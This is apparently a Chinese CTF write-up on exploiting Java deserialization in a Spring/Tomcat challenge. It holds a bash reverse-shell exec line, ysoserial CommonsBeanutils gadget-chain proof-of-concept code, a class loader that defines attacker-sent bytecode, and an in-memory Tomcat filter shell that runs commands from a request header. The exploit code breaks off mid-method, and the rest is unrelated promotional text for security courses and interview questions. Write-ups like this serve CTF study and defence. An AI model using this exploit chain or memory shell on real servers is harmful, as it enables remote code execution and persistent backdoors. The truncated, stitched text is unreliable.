Runtime.getRuntime().exec(“bash -c {echo,反弹shell的payload Base64编码}|{base64,-d}|{bash,-i}”);
Payload生成类如下:
package ysoserial.poc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.util.Base64;
import java.util.PriorityQueue;
import ysoserial.payloads.util.Reflections;
public class PoC {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = getTemplate();
// mock method name until armed
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
// create queue with numbers and basic comparator
final PriorityQueue queue = new PriorityQueue(2, comparator);
// stub data for replacement later
queue.add(“1”);
queue.add(“1”);
// switch method called by comparator
Reflections.setFieldValue(comparator, “property”, “outputProperties”);
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, “queue”);
queueArray[0] = templates;
queueArray[1] = templates;
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(queue);
byte[] bytes = byteArrayOutputStream.toByteArray();
System.out.println(Base64.getEncoder().encodeToString(bytes));
// ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
// ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
// objectInputStream.readObject();
}
public static TemplatesImpl getTemplate() throws Exception {
ClassPool classPool = ClassPool.getDefault();
CtClass clz = classPool.get(MyExec.class.getName());
TemplatesImpl obj = new TemplatesImpl();
Reflections.setFieldValue(obj, “_bytecodes”, new byte[][]{clz.toBytecode()});
Reflections.setFieldValue(obj, “_name”, “HelloTemplatesImpl”);
Reflections.setFieldValue(obj, “_tfactory”, new TransformerFactoryImpl());
return obj;
}
}
3、漏洞利用
攻击机监听端口:
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/aae3f0921fbc4d458b7159e3a5552ba3.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/f88b49b0f7d4470ab9da67be1f074881.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/4489572897b546a7b917acc52e1c2d1c.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/dbffe678d4284a7faaedfc7ff9262467.png)
**这种传统方法这道题不好用**
下面才是真正的解题步骤<------------------------------------------------------------------------------------------------`这才是开始`
1、不出网利用(动态类加载)首先需要简单改造一下ysoserial定义一个类加载器:
package ysoserial;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.util.Base64;
public class MyClassLoader extends AbstractTranslet {
static{
try{
javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
java.lang.reflect.Field r=request.getClass().getDeclaredField(“request”);
r.setAccessible(true);
org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
javax.servlet.http.HttpSession session = request.getSession();
String classData=request.getParameter(“classData”);
System.out.println(“classData:”+classData);
byte[] classBytes = Base64.getDecoder().decode(classData);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod(“defineClass”,new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
cc.newInstance().equals(new Object[]{request,response,session});
}catch(Exception e){
e.printStackTrace();
}
}
public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
}
public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
}
}
然后在ysoserial.payloads.util包的Gadgets类中照着原有的createTemplatesImpl方法添加一个createTemplatesImpl(Class c),参数即为我们要让服务端加载的类,如下直接将传入的c转换为字节码赋值给了\_bytecodes
public static T createTemplatesImpl(Class c) throws Exception {
Class tplClass = null;
if ( Boolean.parseBoolean(System.getProperty(“properXalan”, “false”)) ) {
tplClass = (Class) Class.forName(“org.apache.xalan.xsltc.trax.TemplatesImpl”);
}else{
tplClass = (Class) TemplatesImpl.class;
}
final T templates = tplClass.newInstance();
final byte[] classBytes = ClassFiles.classAsBytes©;
Reflections.setFieldValue(templates, “_bytecodes”, new byte[][] {
classBytes
});
Reflections.setFieldValue(templates, “_name”, “Pwnr”);
return templates;
}
以CB链为例写一个POC
package ysoserial.poc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.util.Base64;
import java.util.PriorityQueue;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;
public class PoC {
public static void main(String[] args) throws Exception {
final TemplatesImpl templates = Gadgets.createTemplatesImpl(ysoserial.MyClassLoader.class);
//final TemplatesImpl templates = Gadgets.createTemplatesImpl(ysoserial.poc.Exp.class);
//final TemplatesImpl templates = getTemplate();
// mock method name until armed
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
// create queue with numbers and basic comparator
final PriorityQueue queue = new PriorityQueue(2, comparator);
// stub data for replacement later
queue.add(“1”);
queue.add(“1”);
// switch method called by comparator
Reflections.setFieldValue(comparator, “property”, “outputProperties”);
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, “queue”);
queueArray[0] = templates;
queueArray[1] = templates;
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(queue);
byte[] bytes = byteArrayOutputStream.toByteArray();
System.out.println(Base64.getEncoder().encodeToString(bytes));
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
// public static TemplatesImpl getTemplate() throws Exception {
//
// ClassPool classPool = ClassPool.getDefault();
// CtClass clz = classPool.get(Tomcat_Echo_inject_Filter.class.getName());
//
// TemplatesImpl obj = new TemplatesImpl();
// Reflections.setFieldValue(obj, “_bytecodes”, new byte[][]{clz.toBytecode()});
// Reflections.setFieldValue(obj, “_name”, “HelloTemplatesImpl”);
// Reflections.setFieldValue(obj, “_tfactory”, new TransformerFactoryImpl());
//
// return obj;
// }
}
接下来即可写一个恶意类,该类可应用于不出网情景,可将简单的命令执行回显在response的Header中,
为了方便注册filter,我直接让该类实现了Filter接口,在doFilter方法中完成Exp的主要逻辑,在equals方法中进行filter的动态注册
package ysoserial.poc;
import javax.servlet.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.stream.Collectors;
public class Exp implements javax.servlet.Filter{
private javax.servlet.http.HttpServletRequest request = null;
private org.apache.catalina.connector.Response response = null;
private javax.servlet.http.HttpSession session =null;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public void destroy() {}
@Override
public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain filterChain) throws IOException, ServletException {
javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest)request1;
javax.servlet.http.HttpServletResponse response = (javax.servlet.http.HttpServletResponse)response1;
javax.servlet.http.HttpSession session = request.getSession();
String cmd = request.getHeader(“Polar-CMD”);
System.out.println(cmd);
if (cmd != null) {
//System.out.println(“1”);
response.setHeader(“Polar-START”, “OK”);
// 使用 ProcessBuilder 执行命令
Process process = new ProcessBuilder(cmd.split(“\s+”))
.redirectErrorStream(true)
.start();
//System.out.println(“2”);
// 获取命令执行的输入流
InputStream inputStream = process.getInputStream();
还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!
王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。
对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!
【完整版领取方式在文末!!】
93道网络安全面试题
内容实在太多,不一一截图了
黑客学习资源推荐
最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
1️⃣零基础入门
① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供:
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!